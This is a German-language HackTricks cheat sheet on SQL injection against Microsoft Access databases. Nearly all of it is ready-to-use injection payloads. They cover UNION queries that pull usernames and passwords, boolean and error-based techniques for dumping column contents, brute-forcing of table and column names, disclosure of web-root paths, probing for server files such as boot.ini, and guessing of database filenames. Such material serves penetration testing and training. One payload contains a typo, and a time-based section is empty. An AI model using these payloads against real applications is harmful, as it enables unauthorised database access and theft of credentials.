MS Access SQL Injection
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Online Playground
DB Limitations
String Concatenation
Stringverkettung ist möglich mit den Zeichen & (%26)
und + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Kommentare
Es gibt keine Kommentare in MS Access, aber anscheinend ist es möglich, das letzte Zeichen einer Abfrage mit einem NULL-Zeichen zu entfernen:
1' union select 1,2 from table%00
Wenn dies nicht funktioniert, könnten Sie immer die Syntax der Abfrage korrigieren:
1' UNION SELECT 1,2 FROM table WHERE ''='
Stacked Queries
Sie werden nicht unterstützt.
LIMIT
Der LIMIT
Operator ist nicht implementiert. Es ist jedoch möglich, die Ergebnisse von SELECT-Abfragen auf die ersten N Tabellenzeilen mit dem TOP
Operator zu beschränken. TOP
akzeptiert als Argument eine Ganzzahl, die die Anzahl der zurückzugebenden Zeilen darstellt.
1' UNION SELECT TOP 3 attr FROM table%00
Genau wie TOP kannst du LAST
verwenden, um die Zeilen vom Ende zu erhalten.
UNION-Abfragen/Unterabfragen
In einer SQLi möchtest du normalerweise irgendwie eine neue Abfrage ausführen, um Informationen aus anderen Tabellen zu extrahieren. MS Access erfordert immer, dass in Unterabfragen oder zusätzlichen Abfragen ein FROM
angegeben wird.
Wenn du also ein UNION SELECT
oder UNION ALL SELECT
oder ein SELECT
in Klammern in einer Bedingung ausführen möchtest, musst du immer ein FROM
mit einem gültigen Tabellennamen angeben.
Daher musst du einen gültigen Tabellennamen kennen.
-1' UNION SELECT username,password from users%00
Chaining equals + Substring
warning
Dies ermöglicht es Ihnen, Werte der aktuellen Tabelle zu exfiltrieren, ohne den Namen der Tabelle zu kennen.
MS Access erlaubt seltsame Syntax wie '1'=2='3'='asd'=false
. Wie üblich wird die SQL-Injection innerhalb einer WHERE
-Klausel sein, die wir ausnutzen können.
Stellen Sie sich vor, Sie haben eine SQLi in einer MS Access-Datenbank und Sie wissen (oder haben geraten), dass ein Spaltenname username ist, und das ist das Feld, das Sie exfiltrieren möchten. Sie könnten die verschiedenen Antworten der Webanwendung überprüfen, wenn die Chaining Equals-Technik verwendet wird, und möglicherweise Inhalte mit einer boolean injection exfiltrieren, indem Sie die Mid
-Funktion verwenden, um Teilstrings zu erhalten.
'=(Mid(username,1,3)='adm')='
Wenn Sie den Namen der Tabelle und Spalte kennen, die Sie dumpen möchten, können Sie eine Kombination aus Mid
, LAST
und TOP
verwenden, um alle Informationen über boolesche SQLi zu leaken:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Fühlen Sie sich frei, dies im Online-Spielplatz zu überprüfen.
Brute-Forcing von Tabellennamen
Mit der Technik des verknüpften Gleichheitszeichens können Sie auch Tabellennamen bruteforcen mit etwas wie:
'=(select+top+1+'lala'+from+<table_name>)='
Sie können auch eine traditionellere Methode verwenden:
-1' AND (SELECT TOP 1 <table_name>)%00
Fühlen Sie sich frei, dies im Online-Spielplatz zu überprüfen.
- Sqlmap häufige Tabellennamen: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Es gibt eine weitere Liste unter http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Brute-Forcing von Spaltennamen
Sie können aktuelle Spaltennamen brute-forcen mit dem Chaining-Equals-Trick mit:
'=column_name='
Oder mit einem group by:
-1' GROUP BY column_name%00
Oder Sie können die Spaltennamen einer anderen Tabelle mit Folgendem brute-forcen:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Daten dumpen
Wir haben bereits die Chaining Equals Technik zum Dumpen von Daten aus der aktuellen und anderen Tabellen besprochen. Aber es gibt auch andere Möglichkeiten:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
In Kürze verwendet die Abfrage eine "if-then"-Anweisung, um im Erfolgsfall einen "200 OK" oder andernfalls einen "500 Internal Error" auszulösen. Durch die Nutzung des TOP 10-Operators ist es möglich, die ersten zehn Ergebnisse auszuwählen. Die anschließende Verwendung von LAST ermöglicht es, nur das 10. Tupel zu betrachten. Mit diesem Wert kann man unter Verwendung des MID-Operators einen einfachen Zeichenvergleich durchführen. Durch das ordnungsgemäße Ändern des Index von MID und TOP können wir den Inhalt des Feldes "username" für alle Zeilen dumpen.
Zeitbasiert
Andere interessante Funktionen
Mid('admin',1,1)
erhält Teilzeichenfolge von Position 1 Länge 1 (Startposition ist 1)LEN('1234')
erhält die Länge der ZeichenfolgeASC('A')
erhält den ASCII-Wert des ZeichensCHR(65)
erhält die Zeichenfolge aus dem ASCII-WertIIF(1=1,'a','b')
wenn dannCOUNT(*)
Zählt die Anzahl der Elemente
Auflisten von Tabellen
Von hier können Sie eine Abfrage sehen, um Tabellennamen zu erhalten:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Es ist jedoch zu beachten, dass es sehr typisch ist, SQL-Injection zu finden, wo Sie keinen Zugriff auf die Tabelle MSysObjects
haben.
Dateisystemzugriff
Vollständiger Pfad des Web-Stammverzeichnisses
Das Wissen um den absoluten Pfad des Web-Stammverzeichnisses kann weitere Angriffe erleichtern. Wenn Anwendungsfehler nicht vollständig verborgen sind, kann der Verzeichnispfad aufgedeckt werden, indem versucht wird, Daten aus einer nicht vorhandenen Datenbank auszuwählen.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access antwortet mit einer Fehlermeldung, die den vollständigen Pfad des Web-Verzeichnisses enthält.
Dateenumeration
Der folgende Angriffsvektor kann verwendet werden, um die Existenz einer Datei im Remote-Dateisystem zu erschließen. Wenn die angegebene Datei existiert, löst MS Access eine Fehlermeldung aus, die informiert, dass das Datenbankformat ungültig ist:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Eine weitere Möglichkeit zur Auflistung von Dateien besteht darin, ein Datenbank.tabelle-Element anzugeben. Wenn die angegebene Datei existiert, zeigt MS Access eine Fehlermeldung zum Datenbankformat an.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb-Dateinamenraten
Der Datenbankdateiname (.mdb) kann mit der folgenden Abfrage erschlossen werden:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Dabei ist name[i] ein .mdb-Dateiname und realTable eine existierende Tabelle innerhalb der Datenbank. Obwohl MS Access immer eine Fehlermeldung auslöst, ist es möglich, zwischen einem ungültigen Dateinamen und einem gültigen .mdb-Dateinamen zu unterscheiden.
.mdb Passwort-Cracker
Access PassView ist ein kostenloses Dienstprogramm, das verwendet werden kann, um das Hauptdatenbankpasswort von Microsoft Access 95/97/2000/XP oder Jet Database Engine 3.0/4.0 wiederherzustellen.
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.